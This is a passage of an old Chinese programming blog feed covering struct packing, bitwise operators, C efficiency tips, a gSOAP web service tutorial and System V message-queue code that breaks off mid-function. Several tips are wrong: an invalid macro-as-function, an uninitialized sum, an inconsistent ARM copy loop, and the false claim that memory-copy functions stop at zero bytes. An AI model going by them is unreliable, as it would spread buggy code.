				<font face="宋体">　　test2在内存中的排列如下： 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">00 -- -- -- 04 -- -- -- 08 -- -- -- 12 -- -- --<br />02 FF 01 FF FF FF 01 01 01 01 01 FF FF FF <br />ch3 ch1 -- lo1 -- ch2 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　注意事项： 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　1、 这样一来，编译器无法为特定平台做优化，如果效率非常重要，就尽量不要使用#pragma pack，如果必须使用，也最好仅在需要的地方进行设置。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　2、 需要加pack的地方一定要在定义结构的头文件中加，不要依赖命令行选项，因为如果很多人使用该头文件，并不是每个人都知道应该pack。这特别表现在为别人开发库文件时，如果一个库函数使用了struct作为其参数，当调用者与库文件开发者使用不同的pack时，就会造成错误，而且该类错误很不好查。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　3、 在VC及BC提供的头文件中，除了能正好对齐在四字节上的结构外，都加了pack，否则我们编的Windows程序哪一个也不会正常运行。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　4、 在 #pragma pack(n) 后一定不要include其他头文件，若包含的头文件中改变了align值，将产生非预期结果。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　5、 不要多人同时定义一个数据结构。这样可以保证一致的pack值。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　问题：按位运算符 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　C语言和其它高级语言不同的是它完全支持按位运算符。这与汇编语言的位操作有些相似。 C中按位运算符列出如下: 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">━━━━━━━━━━━━━━━━━━━━━━━━━━━━ <br /></font>
				<font face="宋体">操作符 作用</font>
				<font face="宋体">
						<br />──────────────────────────── <br />&amp; 位逻辑与</font>
				<font face="宋体">
						<br />| 位逻辑或</font>
				<font face="宋体">
						<br />^ 位逻辑异或</font>
				<font face="宋体">
						<br />- 位逻辑反</font>
				<font face="宋体">
						<br />&gt;&gt; 右移</font>
				<font face="宋体">
						<br />&lt;&lt; 左移</font>
				<font face="宋体">
						<br />━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　注意： 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　1、 按位运算是对字节或字中的实际位进行检测、设置或移位, 它只适用于字符型和整数型变量以及它们的变体, 对其它数据类型不适用。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　2、 关系运算和逻辑运算表达式的结果只能是1或0。 而按位运算的结果可以取0或1以外的值。要注意区别按位运算符和逻辑运算符的不同, 例如, 若x=7, 则x&amp;&amp;8 的值为真(两个非零值相与仍为非零), 而x&amp;8的值为0。 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　3、 | 与 ||，&amp;与&amp;&amp;，~与! 的关系 
<p></p></font>
		</p>
		<p>
		</p>
		<p>
				<font face="宋体">　　&amp;、| 和 ~ 操作符把它们的操作数当作一个为序列，按位单独进行操作。比如：10 &amp; 12 = 8，这是因为"&amp;"操作符把 10 和 12 当作二进制描述 1010 和 1100 ，所以只有当两个操作数的相同位同时为 1 时，产生的结果中相应位才为 1 。同理，10 | 12 = 14 ( 1110 )，通过补码运算，~10 = -11 ( 11...110101 )。&lt;以多少为一个位序列&gt; &amp;&amp;、|| 和！操作符把它们的操作数当作"真"或"假"，并且用 0 代表"假"，任何非 0 值被认为是"真"。它们返回 1 代表"真"，0 代表"假"，对于"&amp;&amp;"和"||"操作符，如果左侧的操作数的值就可以决定表达式的值，它们根本就不去计算右侧的操作数。所以，!10 是 0 ，因为 10 非 0 ；10 &amp;&amp; 12 是 1 ，因为 10 和 12 均非 0 ；10 || 12也是 1 ，因为 10 非 0 。并且，在最后一个表达式中，12 根本就没被计算，在表达式 10 || f( ) 中也是如此。 </font>
		</p>
<img src ="http://www.cppblog.com/zjj2816/aggbug/10146.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2006-07-17 08:54 <a href="http://www.cppblog.com/zjj2816/archive/2006/07/17/10146.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C语言高效编程的几招</title><link>http://www.cppblog.com/zjj2816/archive/2006/06/27/9060.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Tue, 27 Jun 2006 01:42:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2006/06/27/9060.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/9060.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2006/06/27/9060.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/9060.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/9060.html</trackback:ping><description><![CDATA[
		<font color="#000000">编写高效简洁的C语言代码，是许多软件工程师追求的目标。本文就工作中的一些体会和经验做相关的阐述，不对的地方请各位指教。<br /><br />第1招：以空间换时间<br /><br />　　计算机程序中最大的矛盾是空间和时间的矛盾，那么，从这个角度出发逆向思维来考虑程序的效率问题，我们就有了解决问题的第1招——以空间换时间。<br />例如：字符串的赋值。<br />方法A，通常的办法：<br />#define LEN 32<br />char string1 [LEN];<br />memset (string1,0,LEN);<br />strcpy (string1,“This is a example!!”）;<br />方法B：<br />const char string2[LEN] =“This is a example!”;<br />char * cp;<br />cp = string2 ; <br />(使用的时候可以直接用指针来操作。)<br /><br />　　从上面的例子可以看出，A和B的效率是不能比的。在同样的存储空间下，B直接使用指针就可以操作了，而A需要调用两个字符函数才能完成。B的缺点在于灵活性没有A好。在需要频繁更改一个字符串内容的时候，A具有更好的灵活性；如果采用方法B，则需要预存许多字符串，虽然占用了大量的内存，但是获得了程序执行的高效率。<br /><br />　　如果系统的实时性要求很高，内存还有一些，那我推荐你使用该招数。<br /><br />　　该招数的变招——使用宏函数而不是函数。举例如下：<br />方法C：<br />#define bwMCDR2_ADDRESS 4<br />#define bsMCDR2_ADDRESS 17<br />int BIT_MASK(int __bf) <br />{<br />return ((1U &lt;&lt; (bw ## __bf)) - 1) &lt;&lt; (bs ## __bf);<br />}<br />void SET_BITS(int __dst, int __bf, int __val)<br />{<br />__dst = ((__dst) &amp; ~(BIT_MASK(__bf))) | \<br />(((__val) &lt;&lt; (bs ## __bf)) &amp; (BIT_MASK(__bf))))<br />}<br /><br />SET_BITS(MCDR2, MCDR2_ADDRESS, RegisterNumber);<br />方法D：<br />#define bwMCDR2_ADDRESS 4<br />#define bsMCDR2_ADDRESS 17<br />#define bmMCDR2_ADDRESS BIT_MASK(MCDR2_ADDRESS)<br />#define BIT_MASK(__bf) (((1U &lt;&lt; (bw ## __bf)) - 1) &lt;&lt; (bs ## __bf))<br />#define SET_BITS(__dst, __bf, __val) \<br />((__dst) = ((__dst) &amp; ~(BIT_MASK(__bf))) | \<br />(((__val) &lt;&lt; (bs ## __bf)) &amp; (BIT_MASK(__bf))))<br /><br />SET_BITS(MCDR2, MCDR2_ADDRESS, RegisterNumber);<br /><br />　　函数和宏函数的区别就在于，宏函数占用了大量的空间，而函数占用了时间。大家要知道的是，函数调用是要使用系统的栈来保存数据的，如果编译器里有栈检查选项，一般在函数的头会嵌入一些汇编语句对当前栈进行检查；同时，CPU也要在函数调用时保存和恢复当前的现场，进行压栈和弹栈操作，所以，函数调用需要一些CPU时间。而宏函数不存在这个问题。宏函数仅仅作为预先写好的代码嵌入到当前程序，不会产生函数调用，所以仅仅是占用了空间，在频繁调用同一个宏函数的时候，该现象尤其突出。<br /><br />　　D方法是我看到的最好的置位操作函数，是ARM公司源码的一部分，在短短的三行内实现了很多功能，几乎涵盖了所有的位操作功能。C方法是其变体，其中滋味还需大家仔细体会。<br /><br />第2招：数学方法解决问题<br /><br />　　现在我们演绎高效C语言编写的第二招——采用数学方法来解决问题。<br /><br />　　数学是计算机之母，没有数学的依据和基础，就没有计算机的发展，所以在编写程序的时候，采用一些数学方法会对程序的执行效率有数量级的提高。<br />举例如下，求 1~100的和。<br />方法E<br />int I , j;<br />for (I = 1 ;I&lt;=100; I ++）{<br />j += I;<br />}<br />方法F<br />int I;<br />I = (100 * (1+100)) / 2<br /><br />　　这个例子是我印象最深的一个数学用例，是我的计算机启蒙老师考我的。当时我只有小学三年级，可惜我当时不知道用公式 N×（N+1）/ 2 来解决这个问题。方法E循环了100次才解决问题，也就是说最少用了100个赋值，100个判断，200个加法（I和j）；而方法F仅仅用了1个加法，1次乘法，1次除法。效果自然不言而喻。所以，现在我在编程序的时候，更多的是动脑筋找规律，最大限度地发挥数学的威力来提高程序运行的效率。<br /><br />第3招：使用位操作<br /><br />　　实现高效的C语言编写的第三招——使用位操作，减少除法和取模的运算。<br /><br />　　在计算机程序中，数据的位是可以操作的最小数据单位，理论上可以用“位运算”来完成所有的运算和操作。一般的位操作是用来控制硬件的，或者做数据变换使用，但是，灵活的位操作可以有效地提高程序运行的效率。举例如下：<br />方法G<br />int I,J;<br />I = 257 /8;<br />J = 456 % 32;<br />方法H<br />int I,J;<br />I = 257 &gt;&gt;3;<br />J = 456 - (456 &gt;&gt; 4 &lt;&lt; 4);<br /><br />　　在字面上好像H比G麻烦了好多，但是，仔细查看产生的汇编代码就会明白，方法G调用了基本的取模函数和除法函数，既有函数调用，还有很多汇编代码和寄存器参与运算；而方法H则仅仅是几句相关的汇编，代码更简洁，效率更高。当然，由于编译器的不同，可能效率的差距不大，但是，以我目前遇到的MS C ,ARM C 来看，效率的差距还是不小。相关汇编代码就不在这里列举了。<br />运用这招需要注意的是，因为CPU的不同而产生的问题。比如说，在PC上用这招编写的程序，并在PC上调试通过，在移植到一个16位机平台上的时候，可能会产生代码隐患。所以只有在一定技术进阶的基础下才可以使用这招。<br /><br />第4招：汇编嵌入<br /><br />　　高效C语言编程的必杀技，第四招——嵌入汇编。<br /><br />　　“在熟悉汇编语言的人眼里，C语言编写的程序都是垃圾”。这种说法虽然偏激了一些，但是却有它的道理。汇编语言是效率最高的计算机语言，但是，不可能靠着它来写一个操作系统吧?所以，为了获得程序的高效率，我们只好采用变通的方法 ——嵌入汇编，混合编程。<br /><br />　　举例如下，将数组一赋值给数组二,要求每一字节都相符。<br />char string1[1024],string2[1024];<br />方法I<br />int I;<br />for (I =0 ;I&lt;1024;I++)<br />*(string2 + I) = *(string1 + I)<br />方法J<br />#ifdef _PC_<br />int I;<br />for (I =0 ;I&lt;1024;I++)<br />*(string2 + I) = *(string1 + I);<br />#else<br />#ifdef _ARM_<br />__asm<br />{ <br />MOV R0,string1<br />MOV R1,string2<br />MOV R2,#0<br />loop:<br />LDMIA R0!, [R3-R11]<br />STMIA R1!, [R3-R11]<br />ADD R2,R2,#8<br />CMP R2, #400<br />BNE loop<br />}<br />#endif<br /><br />　　方法I是最常见的方法，使用了1024次循环；方法J则根据平台不同做了区分，在ARM平台下，用嵌入汇编仅用128次循环就完成了同样的操作。这里有朋友会说，为什么不用标准的内存拷贝函数呢?这是因为在源数据里可能含有数据为0的字节，这样的话，标准库函数会提前结束而不会完成我们要求的操作。这个例程典型应用于LCD数据的拷贝过程。根据不同的CPU，熟练使用相应的嵌入汇编，可以大大提高程序执行的效率。<br /><br />　　虽然是必杀技，但是如果轻易使用会付出惨重的代价。这是因为，使用了嵌入汇编，便限制了程序的可移植性，使程序在不同平台移植的过程中，卧虎藏龙，险象环生！同时该招数也与现代软件工程的思想相违背，只有在迫不得已的情况下才可以采用。切记，切记。<br /><br />　　使用C语言进行高效率编程，我的体会仅此而已。在此以本文抛砖引玉，还请各位高手共同切磋。希望各位能给出更好的方法，大家一起提高我们的编程技巧。</font>
<img src ="http://www.cppblog.com/zjj2816/aggbug/9060.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2006-06-27 09:42 <a href="http://www.cppblog.com/zjj2816/archive/2006/06/27/9060.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用C实现WebService</title><link>http://www.cppblog.com/zjj2816/archive/2006/06/27/9059.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Tue, 27 Jun 2006 01:28:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2006/06/27/9059.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/9059.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2006/06/27/9059.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/9059.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/9059.html</trackback:ping><description><![CDATA[
		<table class="normalfont" cellspacing="0" cellpadding="3" width="100%" border="0">
				<tbody>
						<tr>
								<td valign="top">
										<p>
												<font class="normalfont">一．系统环境 2<br />二．gSOAP的简要使用例子 2<br />三．图示说明 6<br />四．要注意的问题 6<br />五．参考文档 7<br />六．备注 7<br /><br />一．系统环境<br />linux操作系统kernel2.4.2，安装gsoap2.6到目录/usr/local/gsoap<br />二．gSOAP的简要使用例子<br />下面是一个简单的例子，实现一个加法运算的WebService，具体功能是cli端输入num1和num2，server端返回一个num1和num2相加的结果sum。<br /><br />1． 首先，我们需要做的是写一个函数声明文件，来定义接口函数ns__add，文件名字为add.h，内容如下：<br /><br />//gsoap ns service name: add<br />//gsoap ns service namespace: http://mail.263.net/add.wsdl<br />//gsoap ns service location: http://mail.263.net<br />//gsoap ns service executable: add.cgi<br />//gsoap ns service encoding: encoded<br />//gsoap ns schema namespace: urn:add<br /><br />int ns__add( int num1, int num2, int* sum );<br /><br />2． 然后我们需要创建文件Makefile，从而利用gsoapcpp2工具由add.h生成一些.xml文件、.c文件和.h文件，这些文件均为自动生成，Makefile的内容如下：<br /><br />GSOAP_ROOT=/usr/local/gsoap<br />WSNAME=add<br />CC=g++ -g -DWITH_NONAMESPACES<br />INCLUDE=-I $(GSOAP_ROOT)<br />SERVER_OBJS=$(WSNAME)C.o $(WSNAME)Server.o stdsoap2.o<br />CLIENT_OBJS=$(GSOAP_ROOT)/env/envC.o $(WSNAME)ClientLib.o stdsoap2.o<br />ALL_OBJS=${WSNAME}server.o $(WSNAME)C.o $(WSNAME)Server.o ${WSNAME}test.o ${WSNAME}client.o $(WSNAME)ClientLib.o<br /><br />#总的目标<br />all:server<br /><br />${WSNAME}.wsdl:${WSNAME}.h<br />$(GSOAP_ROOT)/soapcpp2 -p$(WSNAME) -i -n -c ${WSNAME}.h<br /><br />stdsoap2.o:$(GSOAP_ROOT)/stdsoap2.c<br />$(CC) -c $?<br /><br />#编译一样生成规则的.o文件<br />$(ALL_OBJS):%.o:%.c<br />$(CC) -c $? $(INCLUDE)<br /><br />#编译服务器端<br />server:Makefile ${WSNAME}.wsdl ${WSNAME}server.o $(SERVER_OBJS)<br />$(CC) ${WSNAME}server.o $(SERVER_OBJS) -o ${WSNAME}server<br /><br />#编译客户端<br />client:Makefile ${WSNAME}.wsdl ${WSNAME}client.c ${WSNAME}test.c $(ALL_OBJS) stdsoap2.o<br />$(CC) ${WSNAME}test.o ${WSNAME}client.o $(CLIENT_OBJS) -o ${WSNAME}test<br /><br />cl:<br />rm -f *.o *.xml *.a *.wsdl *.nsmap $(WSNAME)H.h $(WSNAME)C.c $(WSNAME)Server.c $(WSNAME)Client.c $(WSNAME)Stub.* $(WSNAME)$(WSNAME)Proxy.* $(WSNAME)$(WSNAME)Object.* $(WSNAME)ServerLib.c $(WSNAME)ClientLib.c $(WSNAME)server ns.xsd $(WSNAME)test<br /><br />3．我们先来做一个server端，创建文件addserver.c文件，内容如下：<br /><br />#include "addH.h"<br />#include "add.nsmap"<br /><br />int main(int argc, char **argv)<br />{<br />int m, s; /* master and slave sockets */<br />struct soap add_soap;<br />soap_init(&amp;add_soap);<br />soap_set_namespaces(&amp;add_soap, add_namespaces);<br />if (argc &lt; 2)<br />{<br />printf("usage: %s &lt;server_port&gt; \n", argv[0]);<br />exit(1);<br />}<br />else<br />{ <br />m = soap_bind(&amp;add_soap, NULL, atoi(argv[1]), 100);<br />if (m &lt; 0)<br />{<br />soap_print_fault(&amp;add_soap, stderr);<br />exit(-1);<br />}<br />fprintf(stderr, "Socket connection successful: master socket = %d\n", m);<br />for ( ; ; )<br />{ <br />s = soap_accept(&amp;add_soap); <br />if (s &lt; 0)<br />{ <br />soap_print_fault(&amp;add_soap, stderr);<br />exit(-1);<br />}<br />fprintf(stderr, "Socket connection successful: slave socket = %d\n", s);<br />add_serve(&amp;add_soap);//该句说明该server的服务<br />soap_end(&amp;add_soap);<br />}<br />}<br />return 0;<br />}<br />//server端的实现函数与add.h中声明的函数相同，但是多了一个当前的soap连接的参数<br />int ns__add(struct soap *add_soap, int num1, int num2, int *sum)<br />{<br />*sum = num1 + num2;<br />return 0;<br />}<br /><br />4．让我们的server跑起来吧：<br />shell&gt;make<br />shell&gt;./addserver 8888<br />如果终端打印出“Socket connection successful: master socket = 3”，那么你的server已经在前台run起来了，应该是值得高兴的&amp;#61514;。<br />打开IE，键入http://本机IP:8888，显示XML，服务已经启动，终端打印出“Socket connection successful: slave socket = 4”，表示服务接收到了一次soap的连接。<br /><br />5．让我们再来写个客户端（这个只是将soap的客户端函数封装一下，具体的调用参见下面的addtest.c），创建文件addclient.c，内容如下：<br /><br />#include "addStub.h"<br />#include "add.nsmap"<br />/**<br />* 传入参数：server：server的地址<br />* num1,num2：需要相加的数<br />* 传出参数：sum：num1和num2相加的结果<br />* 返回值：0为成功，其他为失败<br />*/<br />int add( const char* server, int num1, int num2, int *sum )<br />{<br />struct soap add_soap;<br />int result = 0;<br />soap_init(&amp;add_soap);<br />soap_set_namespaces(&amp;add_soap, add_namespaces);<br /><br />//该函数是客户端调用的主要函数，后面几个参数和add.h中声明的一样，前面多了3个参数，函数名是接口函数名ns__add前面加上soap_call_<br />soap_call_ns__add( &amp;add_soap, server, "", num1, num2, sum );<br />if(add_soap.error)<br />{<br />printf("soap error:%d,%s,%s\n", add_soap.error, *soap_faultcode(&amp;add_soap), *soap_faultstring(&amp;add_soap) );<br />result = add_soap.error;<br />} <br />soap_end(&amp;add_soap);<br />soap_done(&amp;add_soap);<br />return result;<br />}<br /><br />6．我们最终写一个可以运行的客户端调用程序，创建文件addtest.c，内容如下：<br /><br />#include &lt;stdio.h&gt;<br />#include &lt;stdlib.h&gt;<br /><br />int add(const char* server, int num1, int num2, int *sum);<br /><br />int main(int argc, char **argv) <br />{<br />int result = -1;<br />char* server="http://localhost:8888";<br />int num1 = 0;<br />int num2 = 0;<br />int sum = 0;<br />if( argc &lt; 3 )<br />{<br />printf("usage: %s num1 num2 \n", argv[0]);<br />exit(0);<br />}<br /><br />num1 = atoi(argv[1]);<br />num2 = atoi(argv[2]);<br /><br />result = add(server, num1, num2, &amp;sum);<br />if (result != 0)<br />{<br />printf("soap err,errcode = %d\n", result);<br />}<br />else<br />{<br />printf("%d+%d=%d\n", num1, num2, sum );<br />}<br />return 0;<br />}<br /><br />7．让我们的client端和server端通讯<br />shell&gt;make client<br />shell&gt;./addtest 7 8<br />当然，你的server应该还在run，这样得到输出结果7+8=15，好了，你成功完成了你的第一个C写的WebService，恭喜。<br />三．图示说明<br /><br />四．要注意的问题<br />1． add.h文件前面的几句注释不能删除，为soapcpp2需要识别的标志<br />2． 接口函数的返回值只能是int，是soap调用的结果，一般通过soap.error来判断soap的连接情况，这个返回值没有用到。<br />3． 接口函数的最后一个参数为传出参数，如果需要传出多个参数，需要自己定义一个结构将返回项封装。<br />4． 在.h文件中不能include别的.h文件，可能不能生效，需要用到某些结构的时候需要在该文件中直接声明。<br />5． 如果客户端的调用不需要返回值，那么最后一个参数<br />五．参考文档<br />1．gsoap主页<br />http://gsoap2.sourceforge.net<br /><br />2．跟我一起写Makefile<br />http://dev.csdn.net/develop/article/20/20025.shtm<br /><br />3．Web Services： A Technical Introduction（机械工业出版社）<br />六．备注<br />192.168.18.233和192.168.18.234的/usr/local/gsoap目录下的3个需要的文件及一个env目录，不是编译安装的，是在别的地方编译好了直接copy过来的（实际编译结果中还有wsdl2h工具及其他一些文件，但是我们的实际开发中只是用到了这3个文件及env目录）。因为时间仓促，本人还没有时间研究编译的问题，相关细节可以查看参考文档1。<br />在192.168.18.233的/home/weiqiong/soap/sample目录下及192.168.18.234的/tmp/soap/sample目录下有本文讲到的加法运算的例子。</font>
												<br />
												<!-- 正文结束 -->
										</p>
								</td>
						</tr>
						<tr>
								<td>
										<br />全文结束 </td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cppblog.com/zjj2816/aggbug/9059.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2006-06-27 09:28 <a href="http://www.cppblog.com/zjj2816/archive/2006/06/27/9059.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>system V消息机制</title><link>http://www.cppblog.com/zjj2816/archive/2006/06/27/9058.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Tue, 27 Jun 2006 01:23:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2006/06/27/9058.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/9058.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2006/06/27/9058.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/9058.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/9058.html</trackback:ping><description><![CDATA[
		<p>#ifndef MSG_H<br />#define MSG_H<br />//msgid<br />#define LISTEN_THREAD  7<br />#define CENTER_THREAD  0<br />#define SEND_THREAD   2<br />#define REV_THREAD   3<br />#define TIME_THREAD   4<br />//lp<br />#define EXIT    0<br />#define SEND_SGIP_SUBMIT 1<br />#define SEND_SGIP_BIND<br />#define SEND_SGIP_R<br />#define SEND_SGIP_UNBIND<br />#define SEND_SGIP_UNBIND_R<br />#define REV_SGIP_SOCKET<br />//wp<br />#define SEND_SUCCESS<br />#define PACK_FAIL<br />#define SEND_FAIL<br />enum mgnt_cmd_type<br />{<br /> event_login         = 0,<br />  event_logout,<br />  event_sip_init_para,<br />  event_log_init_para,<br />  event_sip_clean,<br />  event_set_dtmf_mode,<br />  event_set_dhcp,<br />  event_set_pppoe,<br />  <br />  event_pstn_call_out,<br />  event_sip_call_out,<br />  event_answer_sipcall,<br />  event_release_sipcall,<br />  event_loadBMP_init,<br />  <br />  <br />  event_pstn_call_in=20,<br />  event_sip_call_in,<br />  event_remote_release_call,<br />  event_remote_establish_call,<br />  event_remote_cancelcall,<br />  event_login_return,<br />  event_remote_ignore,</p>
		<p>  event_set_pstn_ring,<br />  event_set_sip_ring,<br />  event_set_alarm_ring,<br />  event_set_ring_volume<br />  <br />};</p>
		<p>typedef struct msgbuf <br />{ <br /> long   msgtype;<br /> unsigned long msgid;<br /> unsigned long lp;<br /> unsigned long wp;<br />}MSGBuf, *pMSGBuf;</p>
		<p>
				<br />int vvMSGSend(long thread_id, unsigned long msgid, unsigned long lp, unsigned long wp);<br />int vvMSGRecv(long thread_id, struct msgbuf *msg, int is_wait);</p>
		<p>
				<br />#ifndef _WINDOWS</p>
		<p>#include &lt;sys/types.h&gt;<br />#include &lt;sys/ipc.h&gt;<br />#include &lt;sys/msg.h&gt;<br />#include &lt;unistd.h&gt;</p>
		<p>#define MSG_FILE_NAME    "/rw/"      //"/mnt/"<br />#define MSG_FLAG   (IPC_CREAT  | 00666)<br />//| IPC_EXCL<br /> </p>
		<p>
				<br />typedef struct sendMsg<br />{<br /> int sd;<br /> void *content;<br />}SendMsg, *pSendMsg;</p>
		<p>
				<br />#endif</p>
		<p>#endif //MSG_H<br /><br /><br /><br /><br /><br />#include "vvmsg.h"<br />#include &lt;ps_log.h&gt;</p>
		<p>#ifndef _WINDOWS<br />#include &lt;phone_Interface.h&gt;<br />#include &lt;pthread.h&gt;<br />#include &lt;basegdi.h&gt;<br />#include &lt;keyboard.h&gt;<br />//#include "hash.h"<br />extern  pthread_t g_incomingthread;<br />//extern  hash_table table;<br />#endif</p>
		<p> </p>
		<p>int vvMSGSend(long thread_id, unsigned long msgid, unsigned long lp, unsigned long wp)<br />{ <br /> struct msgbuf bmsg;<br />#ifndef _WINDOWS<br /> key_t key; </p>
		<p> int msg_id;<br /> bmsg.msgtype = thread_id;<br /> bmsg.msgid = msgid;<br /> bmsg.lp = lp;<br /> bmsg.wp = wp;</p>
		<p> if((key = ftok(MSG_FILE_NAME,'a')) == -1)<br /> {<br />  return -1;<br /> }</p>
		<p> if((msg_id = msgget(key,MSG_FLAG)) == -1)<br /> {<br />  return -1;<br /> }</p>
		<p> if (msgsnd(msg_id, &amp;bmsg, sizeof(struct msgbuf), IPC_NOWAIT) == -1) <br /> {<br />  return -1;<br /> }<br />#endif<br /> return 1;</p>
		<p>}</p>
		<p>int vvMSGRecv(long thread_id, struct msgbuf *msg, int is_wait)<br />{<br /> #ifndef _WINDOWS<br /> key_t key;   <br /> int msg_id;<br /> if((key = ftok(MSG_FILE_NAME,'a')) == -1)<br /> {<br />  printf("Recv msg error 1!\n");<br />  return -1;<br /> }<br /> if((msg_id = msgget(key,MSG_FLAG)) == -1)<br /> {<br />  printf("Recv msg error 2!\n");<br />  return -1;<br /> }<br /> if (is_wait != 1) <br /> {<br />  if (msgrcv(msg_id, msg, sizeof(struct msgbuf), thread_id, IPC_NOWAIT) == -1) <br />  {<br />   printf("Recv msg error 3!\n");<br />   return -1;<br />  } <br /> }<br /> else<br /> {<br />  if (msgrcv(msg_id, msg, sizeof(struct msgbuf), thread_id, 0) == -1) <br />  {<br />   //printf("Recv msg error 4!\n");<br />   return -1;<br />  }<br /> }<br />  #endif<br /> return 1;</p>
		<p>}</p>
		<p>void *skype_thread_start(void *arg)<br />{<br /> #ifndef _WINDOWS<br /> MSGBuf msg;<br /> pthread_setcancelstate(PTHREAD_CANCEL_ENABLE,0);//<font color="#ff0000">设置线程属性<br /></font> pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS,0);<br /> for (;;)<br /> {<br />  pthread_testcancel();//<font color="#ff0000">设置取消点<br /></font>  if (vvMSGRecv((long)g_incomingthread, &amp;msg, 1) == -1)<br />   continue;<br />  <br />  // analysis the message<br />  switch (msg.msgid)<br />  {<br />   ps_show_str(log_DEBUG, "vvmsg event!!!!!!!!!!!!!!!%d\r\n", msg.msgid);<br />  case event_login:<br />   {<br />    userLogin();<br />    <br />   }<br />   break;<br />  case event_logout:<br />   {<br />    userLogout();<br />   }<br />  case event_sip_clean:<br />   {<br />    SipClean();<br />   }<br />   break;<br />  case event_sip_init_para:<br />   {<br />    ps_show_str(log_DEBUG, "event before################UpdateSipInitPara\r\n");<br />    UpdateSipInitPara();<br />    ps_show_str(log_DEBUG, "event after##################UpdateSipInitPara\r\n");<br />   }<br />   break;<br />  case event_log_init_para:<br />   {<br />    UpdateLogInitPara();<br />   }<br />   break;<br />  case event_set_dtmf_mode:<br />   {<br />    int i = (int)msg.lp;<br />    ps_show_str(log_DEBUG, "event_set_dtmf_mode########################%d\r\n", i);<br />    SetDTMFMode(i);<br />   }<br />   break;<br />  case event_set_dhcp:<br />   {<br />    SetDHCP();<br />   }<br />   break;<br />  case event_set_pppoe:<br />   {<br />    SetPPPOE();<br />   }<br />   break;</p>
		<p>  case event_pstn_call_out:<br />   {<br />    pstncall((char*)msg.lp);<br />   }<br />   break;<br />  case event_sip_call_out:<br />   {<br />    <br />    sipcall((char*)msg.lp);<br />   }<br />   break;</p>
		<p>  case event_answer_sipcall:<br />   {<br />    callmgr_answercall((LINE_ID_T *)msg.lp);<br />   }<br />   break;<br />        case event_release_sipcall:<br />   {<br />    callmgr_releasecall((LINE_ID_T *)msg.lp);<br />   }<br />   break;<br />  case event_loadBMP_init:<br />   {<br />    CreateSysBmp();<br />    <br />   }<br />   break;<br />   </p>
		<p> </p>
		<p> </p>
		<p> </p>
		<p> </p>
		<p> </p>
		<p> </p>
		<p> </p>
		<p>  case event_pstn_call_in:<br />   {<br />    LINE_ID_T *line = (LINE_ID_T *)msg.wp;<br />    sipcome_create(line);<br />   }<br />   break;<br />  case event_sip_call_in:<br />   {<br />    LINE_ID_T *line = (LINE_ID_T *)msg.wp;<br />    sipcome_create(line);<br />   }<br />   break;<br /> <br />  case event_remote_establish_call:<br />   {<br />    <br />    LINE_ID_T *line = (LINE_ID_T *)msg.wp;<br />    pstnchat_create(line);<br />    if(g_Hwnd[HWND_CALLOUT]!=0)<br />    calling_destroy(g_Hwnd[HWND_CALLOUT]);<br />    <br />   }<br />   break;<br />  case event_remote_cancelcall:<br />   {<br />    if(g_Hwnd[HWND_CALLIN]!=0)<br />   SendMessage(g_Hwnd[HWND_CALLIN],MSG_KEYDOWN,KEY_SW_RSK,0);<br />   }<br />   break;<br />  case event_remote_release_call:<br />   {<br />    if(g_Hwnd[HWND_CHAT]!=0)<br />    SendMessage(g_Hwnd[HWND_CHAT],MSG_KEYDOWN,KEY_SW_RSK,0);<br />   }<br />   break;<br />  case event_login_return:<br />   {<br />    printf("sfds0000000000000000000000000000000dssssssss^^^^^^^^^^^^^^^^^\r\n");<br />    